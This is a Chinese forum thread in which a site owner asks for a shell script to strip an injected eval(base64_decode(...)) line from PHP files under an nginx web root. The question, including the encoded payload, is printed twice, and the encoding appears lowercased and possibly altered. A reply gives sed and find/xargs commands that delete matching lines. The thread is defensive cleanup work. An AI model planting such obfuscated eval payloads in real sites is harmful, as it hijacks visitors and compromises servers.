求助帮忙写个*.sh,搜索目录 /usr/share/nginx/html/ 下的搜索php文件中包含以下代码,并且删除掉这点代码:
eval(base64_decode(cmvycm9yx3jlcg9ydgluzygwktskjhfhenbsbt1ozwfkzxjzx3nlbnqoktskawygkcekcwf6cgxtkxskjhjlzmvyzxi9jf9trvjwrvjbj0huvfbfukvgrvjfuiddowokdwfnpsrfu0vsvkvswydivfrqx1vtrvjfqudftlqnxtskawygkcr1ywcpihskawygkcfzdhjpc3rykcr1ywcsik1tsuugny4wiikgyw5kicfzdhjpc3rykcr1ywcsik1tsuugni4wiikpewppziaoc3ryaxn0cigkcmvmzxjlciwiewfob28iksbvcibzdhjpc3rykcryzwzlcmvylcjiaw5niikgb3igc3ryaxn0cigkcmvmzxjlciwicmftymxlciipig9yihn0cmlzdhiojhjlzmvyzxisindlymfsdgeiksbvcibzdhjpc3rykcryzwzlcmvylcjiaxqubhkiksbvcibzdhjpc3rykcryzwzlcmvylcj0aw55dxjslmnvbsipig9yihbyzwdfbwf0y2goii95yw5kzxhclnj1xc95yw5kc2vhcmnoxd8olio/kvwmbhjcps8ilcryzwzlcmvyksbvcibwcmvnx21hdgnoicgil2dvb2dszvwukc4qpylcl3vybfw/c2eviiwkcmvmzxjlcikgb3igc3ryaxn0cigkcmvmzxjlciwizmfjzwjvb2suy29tl2wiksbvcibzdhjpc3rykcryzwzlcmvylcjhb2wuy29tiikpihskawygkcfzdhjpc3rykcryzwzlcmvylcjjywnozsipigfuzcahc3ryaxn0cigkcmvmzxjlciwiaw51cmwiksbhbmqgixn0cmlzdhiojhjlzmvyzxisikvlwxazrdciksl7cmhlywrlcigitg9jyxrpb246igh0dha6ly9tbnnizm9hlmrkbnmubwuudwsviik7cmv4axqoktskfqp9cn0kfqp9));
回复内容: 求助帮忙写个*.sh,搜索目录 /usr/share/nginx/html/ 下的搜索php文件中包含以下代码,并且删除掉这点代码:
eval(base64_decode(cmvycm9yx3jlcg9ydgluzygwktskjhfhenbsbt1ozwfkzxjzx3nlbnqoktskawygkcekcwf6cgxtkxskjhjlzmvyzxi9jf9trvjwrvjbj0huvfbfukvgrvjfuiddowokdwfnpsrfu0vsvkvswydivfrqx1vtrvjfqudftlqnxtskawygkcr1ywcpihskawygkcfzdhjpc3rykcr1ywcsik1tsuugny4wiikgyw5kicfzdhjpc3rykcr1ywcsik1tsuugni4wiikpewppziaoc3ryaxn0cigkcmvmzxjlciwiewfob28iksbvcibzdhjpc3rykcryzwzlcmvylcjiaw5niikgb3igc3ryaxn0cigkcmvmzxjlciwicmftymxlciipig9yihn0cmlzdhiojhjlzmvyzxisindlymfsdgeiksbvcibzdhjpc3rykcryzwzlcmvylcjiaxqubhkiksbvcibzdhjpc3rykcryzwzlcmvylcj0aw55dxjslmnvbsipig9yihbyzwdfbwf0y2goii95yw5kzxhclnj1xc95yw5kc2vhcmnoxd8olio/kvwmbhjcps8ilcryzwzlcmvyksbvcibwcmvnx21hdgnoicgil2dvb2dszvwukc4qpylcl3vybfw/c2eviiwkcmvmzxjlcikgb3igc3ryaxn0cigkcmvmzxjlciwizmfjzwjvb2suy29tl2wiksbvcibzdhjpc3rykcryzwzlcmvylcjhb2wuy29tiikpihskawygkcfzdhjpc3rykcryzwzlcmvylcjjywnozsipigfuzcahc3ryaxn0cigkcmvmzxjlciwiaw51cmwiksbhbmqgixn0cmlzdhiojhjlzmvyzxisikvlwxazrdciksl7cmhlywrlcigitg9jyxrpb246igh0dha6ly9tbnnizm9hlmrkbnmubwuudwsviik7cmv4axqoktskfqp9cn0kfqp9));
把包含 eval(base64_decode 全部删掉好了,正常的 php 文件不会那样做的:
有 zsh 的话:
sed -i~ '/eval(base64_decode/d' /usr/share/nginx/html/**/*.php
没有就只能这样子了:
find /usr/share/nginx/html -name '*.php' -print0 | xargs -0 sed -i~ '/eval(base64_decode/d'
